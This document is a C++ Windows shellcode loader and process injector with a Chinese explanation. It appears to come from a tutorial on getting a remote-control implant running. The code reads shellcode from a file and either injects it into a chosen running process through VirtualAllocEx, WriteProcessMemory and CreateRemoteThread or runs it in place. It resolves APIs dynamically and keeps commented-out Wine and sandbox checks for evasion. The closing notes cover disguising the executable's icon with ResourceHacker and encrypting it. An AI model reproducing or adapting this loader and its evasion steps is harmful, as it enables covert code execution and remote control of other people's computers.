#include "myFunch.h"
//上线
//字符转宽字符
//加载shellcode
wchar_t* AtoW(char** a) {
setlocale(LC_ALL, "");
// 原始的char*字符串
char* char_str = *a;
// 确定所需的wchar_t缓冲区的大小
size_t wchar_size = mbstowcs(NULL, char_str, 0) + 1;
if (wchar_size == (size_t)-1) {
perror("mbstowcs");
return 0;
}
// 分配wchar_t缓冲区
wchar_t* wchar_str = (wchar_t*)malloc(wchar_size * sizeof(wchar_t));
if (wchar_str == NULL) {
perror("malloc");
return 0;
}
// 执行转换
mbstowcs(wchar_str, char_str, wchar_size);
return wchar_str;
}
//读取shellcode
char* ReadFile(SIZE_T* length, char* file) {
char* filename = file;
ifstream infile;
infile.open(filename, ios::out | ios::binary);
infile.seekg(0, infile.end);
*length = infile.tellg();
infile.seekg(0, infile.beg);
char* data = new char[*length];
if (infile.is_open()) {
cout << "reading from the file" << endl;
infile.read(data, *length);
}
return data;
}
//注入进程
void Inject(char* argv[]) {
SIZE_T length = 0;
char* data;
data = ReadFile(&length, argv[2]);
/*LPVOID mem = VirtualAlloc(NULL, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(mem, data, length);
EnumChildWindows(NULL, (WNDENUMPROC)mem, NULL);*/
HANDLE snapshot_handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); //快照(留像)
if (snapshot_handle != INVALID_HANDLE_VALUE) {
// 枚举进程
PROCESSENTRY32 process_entry;
process_entry.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(snapshot_handle, &process_entry)) {
do {
// 将进程名转换为宽字符串
std::wstring extFileName(process_entry.szExeFile);
wchar_t* exename = AtoW(&argv[3]);
// 如果进程名包含 "msedge.exe" 则进行以下操作 std::string::npos == 当初遍历的进程名
if (extFileName.find(exename) != std::string::npos) {
// 打开进程
fn_OpenProcess myOpenProcess = (fn_OpenProcess)GetProcAddress(LoadLibraryA("kernel32.dll"), "OpenProcess");
HANDLE process_handle = myOpenProcess(PROCESS_ALL_ACCESS, FALSE, process_entry.th32ProcessID);
if (process_handle != NULL) {
// 在远程进程中分配内存
fn_VirtualAllocEx myVirtualAllocEx = (fn_VirtualAllocEx)GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualAllocEx");
LPVOID remote_buffer = myVirtualAllocEx(process_handle, NULL, length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (remote_buffer != NULL) {
SIZE_T bytes_written;
// 将 code 写入远程进程内存
if (WriteProcessMemory(process_handle, remote_buffer, data, length, &bytes_written)) {
std::cout << "Remote buffer address: " << remote_buffer << std::endl;
// 在远程进程中创建线程执行 code
HANDLE remote_thread = CreateRemoteThread(process_handle, NULL, 0, (LPTHREAD_START_ROUTINE)remote_buffer, NULL, 0, NULL);
if (remote_thread != NULL) {
// 等待线程结束
WaitForSingleObject(remote_thread, INFINITE);
CloseHandle(remote_thread);
}
}
// 关闭远程内存句柄
CloseHandle(remote_buffer);
}
// 关闭进程句柄
CloseHandle(process_handle);
}
}
} while (Process32Next(snapshot_handle, &process_entry)); // 继续枚举下一个进程
}
// 关闭进程快照句柄
CloseHandle(snapshot_handle);
}
}
//正常上线
VOID Normal(char* argv[]) {
SIZE_T length = 0;
char* data = NULL;
data = ReadFile(&length, argv[2]);
fn_VirtualAlloc myVirtualAlloc = (fn_VirtualAlloc)GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualAlloc");
fn_CreateThread myCreateThread = (fn_CreateThread)GetProcAddress(LoadLibraryA("kernel32.dll"), "CreateThread");
LPVOID shell_addr = myVirtualAlloc(NULL, length, 0x00001000, 0x40);
memcpy(shell_addr, data, length);
HANDLE HThread = myCreateThread(0, 0, (LPTHREAD_START_ROUTINE)shell_addr, 0, 0, 0);
fn_WaitForSingleObject myWaitForSingleObject = (fn_WaitForSingleObject)GetProcAddress(LoadLibraryA("kernel32.dll"), "WaitForSingleObject");
myWaitForSingleObject(HThread, -1);
}
//LPVOID == Long Point VOID
//int Check_MulDiv_1() {
// // Call MulDiv with specific arguments
// int result = MulDiv(1, 0x80000000, 0x80000000);
//
// // Check if the result matches the expected value
// if (result != 2) {
// std::cout << "MulDiv evasion method detected: Wine environment." << std::endl;
// }
// else {
// std::cout << "MulDiv evasion method not detected." << std::endl;
// }
//
// return 0;
//}
//int Check_MulDiv_2() {
// // Check for the existence of Wine's exclusive APIs
// HMODULE hKernel32 = GetModuleHandle(L"kernel32.dll");
// FARPROC wineGetUnixFileName = GetProcAddress(hKernel32, "wine_get_unix_file_name");
// HMODULE hNtdll = GetModuleHandle(L"ntdll.dll");
// FARPROC wineGetHostVersion = GetProcAddress(hNtdll, "wine_get_host_version");
//
// if (wineGetUnixFileName || wineGetHostVersion) {
// std::cout << "Wine's exclusive APIs detected: Wine environment." << std::endl;
// }
// else {
// std::cout << "Wine's exclusive APIs not detected." << std::endl;
// }
//
// return 0;
//}
// 远控的上线程序会变成你的注入目标程序
// User,管理员,System
// 主函数
int main(int argc, char* argv[]) {
if (strcmp(argv[1], "-i") == 0) {
if (argc == 4) {
printf("Injecting!!!\n");
Inject(argv);
}
else {
wprintf(L"注入方式:-i 路径 进程名\n");
}
}
if (strcmp(argv[1], "-d") == 0) {
printf("adsf");
Normal(argv);
};
if (strcmp(argv[1], "-h") == 0) {
printf("-i Inject\n-h help\n-d normal\n");
}
/*printf("%d\n", argc);
printf("%s", argv[1]);*/
return 0;
}
这段代码是一个简单的远程控制工具的实现,主要功能包括文件读取、进程注入和普通程序执行三个部分。下面是每个函数的作用和特点的解释:
AtoW 函数
这个函数负责将普通的 char*
字符串转换成宽字符 wchar_t*
字符串。在这个代码中,主要用于将传入的进程名参数(char*)转换成宽字符格式,以便后续在进程枚举中比较进程名。
ReadFile 函数
这个函数用于读取文件内容,主要是读取指定路径下的二进制文件(例如 shellcode),并返回其内容和长度。它打开文件、计算文件大小、分配内存并读取数据,最后返回读取到的二进制数据的指针。
Inject 函数
这个函数实现了进程注入的功能。它首先通过创建进程快照(CreateToolhelp32Snapshot
)来枚举系统中所有的进程,然后根据用户输入的进程名(宽字符格式)找到目标进程。如果找到匹配的进程,就尝试打开该进程、在其中分配内存、写入 shellcode,并通过创建远程线程来执行 shellcode。
Normal 函数
这个函数用于正常执行程序。它也是通过读取文件获取 shellcode,并使用 VirtualAlloc
分配内存,然后通过 CreateThread
在当前进程中执行 shellcode。
主函数 (main)
主函数根据命令行参数的不同调用上述不同的功能函数。支持的命令行参数包括 -i
(进程注入)、-d
(正常执行程序)和 -h
(帮助信息)。根据参数的不同,输出相应的信息或执行对应的功能函数。
特点与安全性考虑
- 功能全面:提供了远程注入和普通程序执行两种功能,可以根据用户的需要选择不同的操作。
- 对操作系统依赖性:使用了 Windows 特定的系统调用和函数,限制了其在其他操作系统上的可移植性。
- 安全性问题:这段代码中涉及到直接操作进程内存和执行 shellcode,如果不谨慎使用可能会导致系统安全问题,特别是在未经充分验证的 shellcode 使用上。
总体来说,这段代码展示了一个简单的远程控制工具的实现原理,但在实际使用中需要谨慎处理安全性和合法性问题。
正常上线:
ResourceHacker的使用(更改exe文件图标)
一、打开
二、将exe文件直接拖入软件
三、生成
最后可以使用工具进行加密